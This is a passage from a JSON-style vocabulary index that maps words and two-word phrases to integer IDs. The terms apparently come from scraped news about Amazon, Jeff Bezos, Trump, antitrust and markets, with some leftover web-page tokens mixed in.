202034, "carrey reunites": 202035, "kingdom canada": 202036, "disparity": 202037, "reportedly hopes": 202038, "posthumous 2015": 202039, "aimee": 202040, "city ocasio": 202041, "vatican": 202042, "slowdown goldman": 202043, "hillsides": 202044, "restaurants inspired": 202045, "votes needed": 202046, "amazon looked": 202047, "overseeing business": 202048, "profitability senior": 202049, "year study": 202050, "biden versus": 202051, "tax proposal": 202052, "threaten thousands": 202053, "downward projections": 202054, "seats facebook": 202055, "data reactid": 202056, "opened winner": 202057, "technology partners": 202058, "programming market": 202059, "graf jr": 202060, "remarkable job": 202061, "christchurch": 202062, "unsparing plot": 202063, "president kill": 202064, "start business": 202065, "hesitant": 202066, "crashes": 202067, "longtime source": 202068, "190": 202069, "presidential debate": 202070, "email read": 202071, "fox combination": 202072, "midwest start": 202073, "consciously": 202074, "chinese investments": 202075, "black residents": 202076, "kingdom called": 202077, "earlier short": 202078, "art dealer": 202079, "fosters continued": 202080, "melody": 202081, "p6 writeln": 202082, "mercedes benz": 202083, "single engine": 202084, "patricia netflix": 202085, "giant anchored": 202086, "giants mirrors": 202087, "fedex fdx": 202088, "finds help": 202089, "risk activity": 202090, "perfect world": 202091, "purchasing potential": 202092, "record day": 202093, "drug gangs": 202094, "independent researcher": 202095, "covers fedex": 202096, "2f13": 202097, "minions": 202098, "election snopes": 202099, "slut": 202100, "2009 strong": 202101, "mail volumes": 202102, "book stands": 202103, "breaching antitrust": 202104, "amazon karamo": 202105, "delia owen": 202106, "soften huawei": 202107, "kashfia kabir": 202108, "disasters flying": 202109, "wrought": 202110, "reflective": 202111, "experience including": 202112, "office jim": 202113, "isabelle": 202114, "ied": 202115, "switched": 202116, "successful acquisition": 202117, "concerned right": 202118, "price painter": 202119, "law lying": 202120, "companies long": 202121, "leverage amazon": 202122, "amzn norris": 202123, "sprawling complex": 202124, "bipartisan source": 202125, "approximately": 202126, "dollars news": 202127, "ron depasquale": 202128, "stern offers": 202129, "low risk": 202130, "powerpoints": 202131, "business versus": 202132, "staggeringly": 202133, "sanders speaks": 202134, "best heart": 202135, "giving tax": 202136, "amazon alleged": 202137, "mobile app": 202138, "sanchez dana": 202139, "domestic mailers": 202140, "seemingly heartfelt": 202141, "butina asked": 202142, "distressed postal": 202143, "imitation lists": 202144, "r4ee q6": 202145, "lynnwood": 202146, "utterly fail": 202147, "trading desk": 202148, "history miriam": 202149, "boundary busting": 202150, "test florida": 202151, "wikileaks comments": 202152, "contributor liz": 202153, "jawad": 202154, "energy source": 202155, "paint picture": 202156, "board determined": 202157, "trump praising": 202158, "conce": 202159, "illegally trump": 202160, "resistance conservative": 202161, "2f 2fwww": 202162, "red hot": 202163, "company streaming": 202164, "youtube subscribers": 202165, "want fortnite": 202166, "hanoi hilton": 202167, "reach": 202168, "market new": 202169, "industry expert": 202170, "transparently": 202171, "electronic gadgets": 202172, "nexstar broadcasting": 202173, "brandishing lantern": 202174, "mexico fbi": 202175, "announced early": 202176, "meet vladimir": 202177, "bydemocrats": 202178, "care medication": 202179, "essential increases": 202180, "changing increasingly": 202181, "sportsbook": 202182, "ugh": 202183, "thousand reviews": 202184, "disruptor amazon": 202185, "waters notably": 202186, "cheap rewards": 202187, "house freshmen": 202188, "shannon": 202189, "sad responses": 202190, "explore mars": 202191, "independent entrepreneurs": 202192, "limiting donor": 202193, "stretch limousines": 202194, "tweet bashing": 202195, "sales sellers": 202196, "kaper": 202197, "awarded half": 202198, "deer lands": 202199, "migrant dies": 202200, "big moment": 202201, "parker american": 202202, "gemmy": 202203, "bot activity": 202204, "political hierarchy": 202205, "behemoth tech": 202206, "kickers psa": 202207, "slowing demand": 202208, "tv network": 202209, "sustainable frankly": 202210, "longtime devotees": 202211, "cloudy": 202212, "common currency": 202213, "conditions unsafe": 202214, "digital reading": 202215, "stop counting": 202216, "intimidating actions": 202217, "accomplish indirectly": 202218, "house experience": 202219, "blackmail virginia": 202220, "community safe": 202221, "post editor": 202222, "survive despite": 202223, "discusses yesterday": 202224, "1270x734 getty_173218731_200015422000928060_388160": 202225, "huge corporations": 202226, "marketing effort": 202227, "palantir pays": 202228, "amazon places": 202229, "industry leading": 202230, "malouf": 202231, "landmark deal": 202232, "999": 202233, "rod watson": 202234, "duty drive": 202235, "graphics bbgvisualdata": 202236, "days reagan": 202237, "recent government": 202238, "addressed": 202239, "signaling safety": 202240, "trump sound": 202241, "genomic": 202242, "future lobbying": 202243, "preservation fan": 202244, "collapse throws": 202245, "tweet dubbing": 202246, "new homeless": 202247, "ban trump": 202248, "union representing": 202249, "gallus obert": 202250, "beals": 202251, "college town": 202252, "fargo instead": 202253, "million capital": 202254, "month hopefully": 202255, "000 businesses": 202256, "american horror": 202257, "rutger": 202258, "amazon increased": 202259, "wanna bet": 202260, "bibulous": 202261, "york upstate": 202262, "regularly publishes": 202263, "services targets": 202264, "associate site": 202265, "shred economics": 202266, "steadfast": 202267, "rucker quickly": 202268, "post recode": 202269, "loss bloomberg": 202270, "hq2 publicity": 202271, "403 people": 202272, "hr leader": 202273, "buds": 202274, "major headline": 202275, "laurie trustee": 202276, "eastern outpost": 202277, "retain marjory": 202278, "firm investors": 202279, "defends right": 202280, "reduced illegal": 202281, "derby": 202282, "nova area": 202283, "image bu": 202284, "website infowars": 202285, "leave bad": 202286, "amazon dismissed": 202287, "surcharge": 202288, "influential software": 202289, "management provider": 202290, "pensions minister": 202291, "won make": 202292, "provide scale": 202293, "tom suozzi": 202294, "using windows": 202295, "duck laws": 202296, "caters": 202297, "search customers": 202298, "stephanopoulos directly": 202299, "just windfall": 202300, "term thinking": 202301, "fournier political": 202302, "products ordered": 202303, "members spend": 202304, "tech cabal": 202305, "spain according": 202306, "killing small": 202307, "troubling link": 202308, "toronto addressing": 202309, "cult favorite": 202310, "mcdaniel tom": 202311, "obtained semi": 202312, "blame commercial": 202313, "yesterday sought": 202314, "funny moment": 202315, "surroundings": 202316, "staff told": 202317, "tornadoes kelly": 202318, "anonymity michael": 202319, "defuse source": 202320, "company mission": 202321, "new charitable": 202322, "2005 read": 202323, "shelley moore": 202324, "territory asking": 202325, "queen kim": 202326, "sales surge": 202327, "make robocalls": 202328, "candidates focus": 202329, "slather sunscreen": 202330, "bookshops": 202331, "retail writers": 202332, "beijing struck": 202333, "amazon groceries": 202334, "2018 barclays": 202335, "agricultural goods": 202336, "t5q apply": 202337, "8217": 202338, "homelandsecurity department": 202339, "transformer price": 202340, "fact taken": 202341, "city rental": 202342, "writes tim": 202343, "hugh mccoll": 202344, "lexi": 202345, "read kellyanne": 202346, "2026 silver": 202347, "hegemony amazon": 202348, "overrides": 202349, "media narrative": 202350, "selling groceries": 202351, "threatening 150": 202352, "chicago michael": 202353, "perfect storm": 202354, "maher pits": 202355, "health diving": 202356, "oppose raising": 202357, "claims run": 202358, "defended lucas": 202359, "exception": 202360, "furnishings lifting": 202361, "post maybe": 202362, "playwright mike": 202363, "states russian": 202364, "includes stock": 202365, "stocks look": 202366, "office plus": 202367, "dear editor": 202368, "different servers": 202369, "000 sellers": 202370, "billion settlement": 202371, "2018 small": 202372, "amid nascent": 202373, "heroin turkey": 202374, "43285": 202375, "expressing concern": 202376, "heavily": 202377, "trading yahoo": 202378, "blueprint authorizing": 202379, "school fees": 202380, "released early": 202381, "corporate market": 202382, "using antitrust": 202383, "receiving benefits": 202384, "tight job": 202385, "ramped": 202386, "lead jennifer": 202387, "academic program": 202388, "blue pigment": 202389, "rivers roads": 202390, "trump figure": 202391, "nabbing": 202392, "reported quarter": 202393, "amazon pricing": 202394, "difference fact": 202395, "make better": 202396, "crime fighters": 202397, "corp slingbox": 202398, "leading monopolist": 202399, "hearings 1535999249": 202400, "wins california": 202401, "shows 2018": 202402, "london bomb": 202403, "reads adding": 202404, "nipple": 202405, "joyfully lifted": 202406, "change second": 202407, "starbucks business": 202408, "prosecutor hired": 202409, "mixed welcome": 202410, "sexted sent": 202411, "denouncer": 202412, "caller discussing": 202413, "legal team": 202414, "rights risk": 202415, "weird choice": 202416, "stop outsourcing": 202417, "bias biased": 202418, "sweatshop": 202419, "6k": 202420, "column trump": 202421, "consistently blasted": 202422, "instance highlights": 202423, "ridiculous things": 202424, "robs": 202425, "enteprise": 202426, "yikes": 202427, "turnout surged": 202428, "conforming": 202429, "hasn kept": 202430, "trillion amazon": 202431, "confirmed wall": 202432, "gop aligned": 202433, "pedophile rings": 202434, "amalgamated bank": 202435, "pardon malaysian": 202436, "lucia": 202437, "contractually set": 202438, "political factors": 202439, "driver blaxploitation": 202440, "hampshire survey": 202441, "fairly big": 202442, "envoy": 202443, "howard zemsky": 202444, "showtime anytime": 202445, "wasn trolling": 202446, "data machine": 202447, "391": 202448, "locations": 202449, "het": 202450, "person outfit": 202451, "tru": 202452, "regarding potential": 202453, "movie produced": 202454, "ugly surprise": 202455, "pettersson": 202456, "year jumped": 202457, "wendy williams": 202458, "eminently clear": 202459, "socialism": 202460, "area rabbis": 202461, "ahead airline": 202462, "brock": 202463, "tiegs": 202464, "including chase": 202465, "early voters": 202466, "dennis chair": 202467, "videoid owl": 202468, "rocketed": 202469, "tld": 202470, "orchestrate": 202471, "times report": 202472, "queens offers": 202473, "oakmark funds": 202474, "investment institute": 202475, "calls small": 202476, "created good": 202477, "plagiarize": 202478, "based harley": 202479, "spans": 202480, "2015 read": 202481, "tiny elite": 202482, "malaysian politician": 202483, "footwear designer": 202484, "mortar retailers": 202485, "need help": 202486, "state agreed": 202487, "serial town": 202488, "ardent": 202489, "extension": 202490, "managing editors": 202491, "maintaining respect": 202492, "associates including": 202493, "tank told": 202494, "800 square": 202495, "shadow": 202496, "sleep lying": 202497, "starters": 202498, "bezos conspiracy": 202499, "increase consumer": 202500, "weeks leave": 202501, "143": 202502, "units buildings": 202503, "delivery arm": 202504, "football player": 202505, "company earlier": 202506, "issues todd": 202507, "writer living": 202508, "weapon weiner": 202509, "rogue amazon": 202510, "warren recent": 202511, "convinced trump": 202512, "org 312": 202513, "__source": 202514, "bike trails": 202515, "devitt recently": 202516, "violence orders": 202517, "denuclearization": 202518, "albawaba european": 202519, "doubt reassuring": 202520, "nathan phillips": 202521, "including competition": 202522, "plan does": 202523, "enquirer hit": 202524, "corn": 202525, "bezos bad": 202526, "declining competition": 202527, "carlson recently": 202528, "line stein": 202529, "fuel business": 202530, "making amazon": 202531, "intimate photos": 202532, "04t21": 202533, "including roseanne": 202534, "human toll": 202535, "florida despite": 202536, "times using": 202537, "dispense 525": 202538, "nearest available": 202539, "provider needs": 202540, "continue expanding": 202541, "city warren": 202542, "haul goods": 202543, "wheat farmers": 202544, "chosen manhattan": 202545, "hobo": 202546, "pushing boulder": 202547, "humorous": 202548, "missing josh": 202549, "publish revealing": 202550, "bezos calmly": 202551, "design mark": 202552, "steep": 202553, "mohamed ali": 202554, "elder": 202555, "euronext confident": 202556, "publicly tied": 202557, "aapl stock": 202558, "cloud project": 202559, "disincentive": 202560, "political class": 202561, "browsing": 202562, "month dragging": 202563, "foreign adversaries": 202564, "big guns": 202565, "delightful": 202566, "appreciate president": 202567, "claimed cost": 202568, "snap amazon": 202569, "distributor generated": 202570, "synchronous": 202571, "goals include": 202572, "oil purchases": 202573, "arrived home": 202574, "including nooyi": 202575, "great partners": 202576, "ridiculously": 202577, "extremely alarming": 202578, "deficit sent": 202579, "trumps stock": 202580, "carrying": 202581, "workers surveyed": 202582, "politically": 202583, "dip day": 202584, "andrew restuccia": 202585, "getting rid": 202586, "duped": 202587, "average technicals": 202588, "trump acknowledged": 202589, "magnuson winter": 202590, "constant lobbying": 202591, "restaurant chains": 202592, "retail segment": 202593, "slam dunk": 202594, "vlastelica": 202595, "post linking": 202596, "really alarming": 202597, "nextvideourl domain": 202598, "complete product": 202599, "krouse rosenthal": 202600, "amazon wants": 202601, "gass": 202602, "palantir hewlett": 202603, "blockbuster albeit": 202604, "weren based": 202605, "china second": 202606, "rich guy": 202607, "inflows": 202608, "lilia": 202609, "employees live": 202610, "delayed presidential": 202611, "accelerate": 202612, "trump backyard": 202613, "jtalton": 202614, "thouss": 202615, "teachers rubenstein": 202616, "republicans retain": 202617, "bezos reported": 202618, "don count": 202619, "284 points": 202620, "lesley": 202621, "sucker": 202622, "sluggish": 202623, "carolina 9th": 202624, "peasants began": 202625, "midwest letter": 202626, "trump reiterated": 202627, "short answer": 202628, "snowfall": 202629, "romance speeds": 202630, "amazon bosses": 202631, "slowest pace": 202632, "torrid text": 202633, "repeal took": 202634, "today herera": 202635, "construction environmental": 202636, "determine": 202637, "australia months": 202638, "300 direct": 202639, "wants john": 202640, "expectations job": 202641, "background football": 202642, "marielle heller": 202643, "fast track": 202644, "pharmacy benefits": 202645, "shutdown consequences": 202646, "pepsi": 202647, "greer love": 202648, "psychiatric drugs": 202649, "world character": 202650, "story estimates": 202651, "government forte": 202652, "publications trump": 202653, "splc intolerance": 202654, "job thomas": 202655, "watch harvard": 202656, "film provocateur": 202657, "specific internet": 202658, "gift multiple": 202659, "publicly criticized": 202660, "departs": 202661, "yang": 202662, "stuff": 202663, "offering cost": 202664, "increasingly pricing": 202665, "new routines": 202666, "chip away": 202667, "emails offer": 202668, "founder digital": 202669, "falsely accused": 202670, "carley": 202671, "jeff annual": 202672, "1hlkltf": 202673, "jeopardized": 202674, "pictures jeff": 202675, "mother heads": 202676, "funding payments": 202677, "figure attending": 202678, "oregon says": 202679, "empire iconimageurl": 202680, "teachers": 202681, "won governorships": 202682, "smith gives": 202683, "garofolo": 202684, "unjustified attacks": 202685, "center seriously": 202686, "midterm wins": 202687, "utm_campaign": 202688, "item purchased": 202689, "government shares": 202690, "plan seth": 202691, "oversold": 202692, "online presence": 202693, "gotten media": 202694, "sector david": 202695, "aatish": 202696, "important masters": 202697, "hogan won": 202698, "guns ahead": 202699, "department store": 202700, "deal collapsed": 202701, "war fedex": 202702, "debonis": 202703, "issue countless": 202704, "house white": 202705, "orleans food": 202706, "quality preschools": 202707, "price 1p": 202708, "girls western": 202709, "jquery carousel": 202710, "scripts national": 202711, "petition asking": 202712, "overall turnover": 202713, "brian sozzi": 202714, "howard appeared": 202715, "cheered": 202716, "untraceable ammunition": 202717, "cities begged": 202718, "25th amendment": 202719, "investorplace media": 202720, "visit travel": 202721, "different spacious": 202722, "years reuters": 202723, "bolsonaro actions": 202724, "allow discrimination": 202725, "brian sold": 202726, "eshbach": 202727, "pic seattle": 202728, "amazon pursuit": 202729, "particular attention": 202730, "post owner": 202731, "severe allergic": 202732, "sears catalog": 202733, "simply say": 202734, "hilariously identified": 202735, "marketing stunt": 202736, "labour antitrust": 202737, "received food": 202738, "appointed commission": 202739, "congratulatory phone": 202740, "certain area": 202741, "clearly gamed": 202742, "tech going": 202743, "goody pr": 202744, "version 2019": 202745, "shares state": 202746, "american skater": 202747, "daughter lyla": 202748, "raising local": 202749, "crashing": 202750, "primary source": 202751, "story msnbc": 202752, "west": 202753, "articles meet": 202754, "potter books": 202755, "quarter profits": 202756, "upcoming 790": 202757, "county frequently": 202758, "imports soar": 202759, "containerclassid parents": 202760, "joe gould": 202761, "anticonservative bias": 202762, "capitalism needs": 202763, "states requests": 202764, "letters bills": 202765, "agencies working": 202766, "grumpy old": 202767, "independent contractor": 202768, "meant don": 202769, "course according": 202770, "federal firing": 202771, "asks court": 202772, "different views": 202773, "based purely": 202774, "economic activity": 202775, "fantasy": 202776, "compendium": 202777, "model karen": 202778, "city hosted": 202779, "expressly conservative": 202780, "amazon overseas": 202781, "distinct company": 202782, "charleston south": 202783, "tweet early": 202784, "arsht": 202785, "kerlinger winston": 202786, "favorite brand": 202787, "michael beschloss": 202788, "gem nearly": 202789, "declared": 202790, "trump assault": 202791, "basic things": 202792, "job posting": 202793, "elf": 202794, "holding frequent": 202795, "tweets election": 202796, "content buys": 202797, "chessy": 202798, "campus near": 202799, "riese": 202800, "subsidy": 202801, "graham graham": 202802, "republicans claim": 202803, "age possible": 202804, "steven bradbury": 202805, "revitalize struggling": 202806, "coms bezos": 202807, "terminals phil": 202808, "directions maybe": 202809, "mackenzie looked": 202810, "shot commercial": 202811, "wares directly": 202812, "presidency ig": 202813, "china": 202814, "business deregulation": 202815, "federal prosecutorial": 202816, "democrat candidates": 202817, "source thehollywoodgossip": 202818, "corporate headquarters": 202819, "patrick donahoe": 202820, "think know": 202821, "massive payout": 202822, "culprit": 202823, "times bs_bullet_primary": 202824, "news senator": 202825, "btw": 202826, "ibd composite": 202827, "supposedly obtained": 202828, "luckin": 202829, "data location": 202830, "consumers lives": 202831, "public longstanding": 202832, "billionaire tycoon": 202833, "northwest iowa": 202834, "broke hours": 202835, "16bn": 202836, "analysts conflated": 202837, "rain soaked": 202838, "board balked": 202839, "strong results": 202840, "previously jointly": 202841, "reactid 184": 202842, "talking billions": 202843, "foreign actors": 202844, "large shoppers": 202845, "sessions picks": 202846, "defense spending": 202847, "country peddling": 202848, "rebecca ballhaus": 202849, "adjusted diluted": 202850, "little secret": 202851, "senior employees": 202852, "region albawaba": 202853, "agricultural possibilities": 202854, "historians": 202855, "sears wants": 202856, "hoda": 202857, "political talk": 202858, "victory tweet": 202859, "civilian life": 202860, "offers lg": 202861, "pre pay": 202862, "legislation included": 202863, "gifted": 202864, "build case": 202865, "storm weary": 202866, "called anti": 202867, "include consumable": 202868, "humiliating spectacles": 202869, "serves america": 202870, "division unfettered": 202871, "ecco": 202872, "forecast": 202873, "tell technology": 202874, "cape invited": 202875, "calgaryherald forbes": 202876, "american families": 202877, "main driver": 202878, "500 business": 202879, "deter drug": 202880, "primer": 202881, "leigh": 202882, "emergencying": 202883, "copays": 202884, "canine": 202885, "privately quarles": 202886, "unicorn jumping": 202887, "child tax": 202888, "talented people": 202889, "onthe": 202890, "wagealso eliminates": 202891, "improved public": 202892, "katie": 202893, "pay tribute": 202894, "report offers": 202895, "magazine kurt": 202896, "mggtecrzst mijente": 202897, "following recent": 202898, "foray": 202899, "price concessions": 202900, "mccain did": 202901, "jpg channelhash": 202902, "mueller questions": 202903, "vanished": 202904, "partners telemarketing": 202905, "pinterest shares": 202906, "ambassador amazonfcphil": 202907, "getty brands": 202908, "recognition contracts": 202909, "quarter forecast": 202910, "entrenched": 202911, "tumbled": 202912, "executive departure": 202913, "177 billion": 202914, "underlying": 202915, "megacorporations humiliated": 202916, "photo identity": 202917, "kill amazon": 202918, "ebay currently": 202919, "new da": 202920, "factory closures": 202921, "trump fighting": 202922, "consumers large": 202923, "practices ami": 202924, "brown observations": 202925, "lost trump": 202926, "quash": 202927, "helped introduce": 202928, "administration knows": 202929, "mean taxes": 202930, "busy earnings": 202931, "amazon acquisitions": 202932, "reactid 178": 202933, "popsicle scented": 202934, "bumps": 202935, "gift 2018": 202936, "average box": 202937, "plain underwear": 202938, "bezos changes": 202939, "publication regularly": 202940, "359": 202941, "stocks 2018": 202942, "recall submitting": 202943, "ami lawyers": 202944, "million madonna": 202945, "amazon fully": 202946, "sellers beneath": 202947, "curious hero": 202948, "eked": 202949, "amazon sheer": 202950, "survive think": 202951, "event web": 202952, "cut tamp": 202953, "mohawk inds": 202954, "tooth": 202955, "fafillion shabolubalu": 202956, "pictures bloomberg": 202957, "clean foods": 202958, "color spray": 202959, "undatable": 202960, "bezos presidential": 202961, "ongoing jobs": 202962, "essex crossing": 202963, "mature yes": 202964, "040": 202965, "immigration authorities": 202966, "kirkorian": 202967, "brownworth click": 202968, "near": 202969, "clearly distorted": 202970, "rahm helping": 202971, "chico calif": 202972, "valley vote": 202973, "d0": 202974, "sale monica": 202975, "slattery aaron": 202976, "county republicans": 202977, "alphabet ceo": 202978, "old curmudgeons": 202979, "clot mccain": 202980, "yorkers protested": 202981, "operations specialists": 202982, "boston globe": 202983, "cap 919": 202984, "program intensifying": 202985, "profitability guidance": 202986, "discussing": 202987, "woman story": 202988, "global communications": 202989, "dollars yr": 202990, "director jobs": 202991, "mattgertz": 202992, "crises weather": 202993, "blackberry user": 202994, "nefarious role": 202995, "amazon unchecked": 202996, "everlasting": 202997, "elevating": 202998, "dumps": 202999, "comprehension kids": 203000, "degrassi": 203001, "timeframes": 203002, "violate copyright": 203003, "page lawsuit": 203004, "new lindsey": 203005, "cuts time": 203006, "obviously want": 203007, "quigley gubernatorial": 203008, "democracy stunning": 203009, "contest brought": 203010, "799": 203011, "comment increased": 203012, "elevated 74th": 203013, "salary read": 203014, "web start": 203015, "ellisonkeith maurice": 203016, "mijente chose": 203017, "reports say": 203018, "reached settlement": 203019, "tailwind": 203020, "key players": 203021, "consumers shutters": 203022, "impact level": 203023, "virginia motto": 203024, "additionally edwards": 203025, "decapitators voters": 203026, "war obviously": 203027, "korea signed": 203028, "liberator": 203029, "animal welfare": 203030, "gone terribly": 203031, "rexnord": 203032, "having trying": 203033, "starting black": 203034, "jeffbezos status": 203035, "newsworthy ami": 203036, "grimmer": 203037, "attacking specific": 203038, "world\u0430that": 203039, "165": 203040, "controversial planned": 203041, "saw doctor": 203042, "speechwriter": 203043, "harassers": 203044, "bezos carrell": 203045, "suzanne": 203046, "inhabitants": 203047, "minutes interview": 203048, "level 080": 203049, "pd": 203050, "grandfather": 203051, "bureau team": 203052, "selection pool": 203053, "cbd": 203054, "mega tailer": 203055, "travel book": 203056, "mastromonaco": 203057, "divided lena": 203058, "luke lango": 203059, "enquirer violated": 203060, "campaign trade": 203061, "city workforce": 203062, "handed fast": 203063, "boden amazon": 203064, "decision offers": 203065, "perfect star": 203066, "anqi": 203067, "orwell acknowledges": 203068, "typeof whatsappshareelement": 203069, "bribing government": 203070, "softer stance": 203071, "shares bounced": 203072, "source hbo": 203073, "sales slumped": 203074, "abc single": 203075, "amazon soon": 203076, "suv descriptionplaintext": 203077, "investing million": 203078, "travel tote": 203079, "actually rare": 203080, "don faze": 203081, "carb diet": 203082, "ensure compliance": 203083, "policy forum": 203084, "recommended deadlines": 203085, "administration battle": 203086, "company just": 203087, "sweet tax": 203088, "reports laura": 203089, "criticists": 203090, "individuals associated": 203091, "360 000": 203092, "story 2020": 203093, "arrests soar": 203094, "conducted surprise": 203095, "called shadow": 203096, "article37861750": 203097, "kushner spot": 203098, "ecolab": 203099, "matthew gardner": 203100, "harrison signed": 203101, "refereeing consistency": 203102, "total cloud": 203103, "little support": 203104, "baby onesie": 203105, "buzz60 parisa": 203106, "wedding photographer": 203107, "state brrrrr": 203108, "crews recorded": 203109, "cable company": 203110, "shockwaves": 203111, "story ex": 203112, "nefarious": 203113, "proposed billions": 203114, "gary varvel": 203115, "expect wayfair": 203116, "deductible according": 203117, "world capital": 203118, "ranging": 203119, "28257 bought": 203120, "negligible": 203121, "apparently cemented": 203122, "helped stem": 203123, "news john": 203124, "decrease proposal": 203125, "needs multiple": 203126, "media heavy": 203127, "calla smorodin": 203128, "era catalog": 203129, "season post": 203130, "regulatory decisions": 203131, "drew scrutiny": 203132, "amazon euro": 203133, "stock initially": 203134, "offered arguments": 203135, "amazon mission": 203136, "store program": 203137, "pct washington": 203138, "requested comment": 203139, "uu according": 203140, "project goldcrest": 203141, "lovely terrifying": 203142, "reorganizes": 203143, "story based": 203144, "chipmaker intel": 203145, "named stop": 203146, "oz designation": 203147, "center honors": 203148, "york having": 203149, "headset neckband": 203150, "mayukh": 203151, "finally hold": 203152, "siloed": 203153, "mayor haven": 203154, "sexists": 203155, "soverly politico": 203156, "l4e": 203157, "trump speaking": 203158, "quarles hasn": 203159, "dietary laws": 203160, "university polled": 203161, "massive gov": 203162, "argued": 203163, "loving": 203164, "despite court": 203165, "865 billion": 203166, "earlier called": 203167, "marketplaces investigators": 203168, "contract award": 203169, "sounds kinda": 203170, "null inc_meta_keywords": 203171, "snl monologuejoin": 203172, "actor stormy": 203173, "2016 joint": 203174, "traditional land": 203175, "adobe amazon": 203176, "kennedy right": 203177, "law proposed": 203178, "maintained buy": 203179, "projected winner": 203180, "foods annual": 203181, "daddy little": 203182, "penthouse": 203183, "administration huawei": 203184, "blush": 203185, "press opinion": 203186, "large satellite": 203187, "partly owned": 203188, "ship goods": 203189, "worth \u01422": 203190, "rosenworcel democrat": 203191, "preventing groups": 203192, "2khxg5k": 203193, "larry fedora": 203194, "required restructuring": 203195, "local taxpayers": 203196, "cross ideological": 203197, "blockbuster patent": 203198, "decision applaud": 203199, "garnered major": 203200, "stakes meeting": 203201, "spies keri": 203202, "amos": 203203, "rog": 203204, "trump abramowitz": 203205, "concerning amazon": 203206, "isn best": 203207, "candidate drops": 203208, "scrutiny consider": 203209, "getups": 203210, "pondering pissing": 203211, "including copies": 203212, "tougher positions": 203213, "paid 200": 203214, "dolan assistant": 203215, "online grocery": 203216, "advertising ambitions": 203217, "published blog": 203218, "844": 203219, "mega platforms": 203220, "100billion": 203221, "actual confusion": 203222, "actually helping": 203223, "information reporters": 203224, "building city": 203225, "entertainment events": 203226, "crowdtangle covered": 203227, "having designed": 203228, "org content": 203229, "loggers miners": 203230, "merger trump": 203231, "armani north": 203232, "gate": 203233, "having transnational": 203234, "inlineimages": 203235, "student opposition": 203236, "barely": 203237, "helping kick": 203238, "stories personal": 203239, "bony": 203240, "quality family": 203241, "amusing": 203242, "games netflix": 203243, "bezos hit": 203244, "reportedly placing": 203245, "nasdaq listed": 203246, "positive impact": 203247, "ferociously": 203248, "labaki": 203249, "inc_promo_date 2019": 203250, "heiress": 203251, "estranged wife": 203252, "newspaper business": 203253, "mukherjee writes": 203254, "used twitter": 203255, "summit attendees": 203256, "killed houston": 203257, "bossy schoolteacher": 203258, "trump add": 203259, "people lawyer": 203260, "covering": 203261, "term value": 203262, "offered apple": 203263, "semiconductor": 203264, "maj": 203265, "owns 847": 203266, "target": 203267, "hq2 warren": 203268, "intercept reported": 203269, "contact jeff": 203270, "plus potentially": 203271, "arguing": 203272, "writes expect": 203273, "announces new": 203274, "trims apple": 203275, "steadfast isolationism": 203276, "227181": 203277, "city rally": 203278, "women equality": 203279, "security audit": 203280, "collusion trump": 203281, "serfs": 203282, "hatch": 203283, "report initially": 203284, "doral police": 203285, "accused sexual": 203286, "resulting financial": 203287, "envisions": 203288, "conversely welch": 203289, "verified richard": 203290, "transcript financial": 203291, "border shipping": 203292, "getty_173218731_200015422000928060_388160 jp": 203293, "include": 203294, "previous identity": 203295, "solid ground": 203296, "banks read": 203297, "nitrous oxide": 203298, "remains subject": 203299, "president questions": 203300, "getting attention": 203301, "qualify amazon": 203302, "roundly dismissed": 203303, "urban area": 203304, "reining": 203305, "nixed": 203306, "newlywed royals": 203307, "bezos leave": 203308, "cut california": 203309, "amazon net": 203310, "growth engines": 203311, "years miami": 203312, "northam party": 203313, "xml videoid": 203314, "wealthiest art": 203315, "herbert": 203316, "popular washington": 203317, "bakesale figure": 203318, "investigators bought": 203319, "powers threat": 203320, "interlude boyne": 203321, "ask congress": 203322, "600k": 203323, "career": 203324, "tide pods": 203325, "gvodujpo btt": 203326, "olsavsky announced": 203327, "bankruptcy case": 203328, "previously tried": 203329, "amid criticisms": 203330, "brought shares": 203331, "burrito royalty": 203332, "actually good": 203333, "reputable large": 203334, "americans champion": 203335, "afghanistan syria": 203336, "officials early": 203337, "designates certain": 203338, "obtain sensitive": 203339, "included kate": 203340, "gig": 203341, "dissenting justice": 203342, "surprise split": 203343, "graced": 203344, "angeles home": 203345, "continue investigating": 203346, "offering cheap": 203347, "fully engaging": 203348, "pulling somebody": 203349, "butt dialed": 203350, "officially entered": 203351, "quarterly revenue": 203352, "sample headline": 203353, "inventory recommended": 203354, "unique benefit": 203355, "amazon removes": 203356, "daily active": 203357, "owns personally": 203358, "organize labor": 203359, "protectionism embraced": 203360, "suhasini haidar": 203361, "people located": 203362, "david guralnick": 203363, "depressions": 203364, "immunology": 203365, "bombed": 203366, "relational database": 203367, "awards6 pictures": 203368, "suderman": 203369, "compelling mother": 203370, "billion value": 203371, "model amazon": 203372, "question defended": 203373, "reads share": 203374, "longer tolerate": 203375, "battle trump": 203376, "vicious circle": 203377, "advertising arm": 203378, "services empire": 203379, "special needs": 203380, "scrape": 203381, "christopher bodeen": 203382, "alleges following": 203383, "substance trump": 203384, "suppliers just": 203385, "topics including": 203386, "policy itep": 203387, "combined jeong": 203388, "business helps": 203389, "megasale": 203390, "legal scholar": 203391, "make platforms": 203392, "businesses especially": 203393, "monopoly cloud": 203394, "lie daughter": 203395, "potentially going": 203396, "post adding": 203397, "program individuals": 203398, "owned resource": 203399, "rebound": 203400, "middle eastern": 203401, "clickhereto": 203402, "remain neutral": 203403, "wife champions": 203404, "behemoths": 203405, "tough stretch": 203406, "seema shah": 203407, "basis blind": 203408, "walter shaub": 203409, "convoluted theory": 203410, "editorial work": 203411, "sotomayor": 203412, "govpredict political": 203413, "throws harsh": 203414, "sale washington": 203415, "physical commerce": 203416, "lathe": 203417, "including oracle": 203418, "trump share": 203419, "renowned chef": 203420, "bowie": 203421, "vegans": 203422, "policies mean": 203423, "donald took": 203424, "voting booths": 203425, "tycoon bernard": 203426, "pay union": 203427, "rep pelosi": 203428, "big addition": 203429, "21m worth": 203430, "fact defends": 203431, "quarterly sales": 203432, "absolute right": 203433, "exasperatedly asked": 203434, "new tech": 203435, "widen trump": 203436, "realdonaldtrump 1547430310000": 203437, "cantwell democrat": 203438, "refund": 203439, "states trump": 203440, "2529 eli": 203441, "don wagyu": 203442, "raincoat": 203443, "student loan": 203444, "data breaches": 203445, "support story": 203446, "citizens digital": 203447, "subaru": 203448, "adams writes": 203449, "sato": 203450, "republican saunders": 203451, "fortune columnist": 203452, "new company": 203453, "absorbing": 203454, "15612": 203455, "using rekognition": 203456, "new hqs": 203457, "models drifting": 203458, "insecure smart": 203459, "start tonight": 203460, "rings series": 203461, "moves greene": 203462, "raise electrical": 203463, "sessions questions": 203464, "help run": 203465, "krauthammer pulitzer": 203466, "legislation michael": 203467, "women unity": 203468, "launches international": 203469, "founder miguel": 203470, 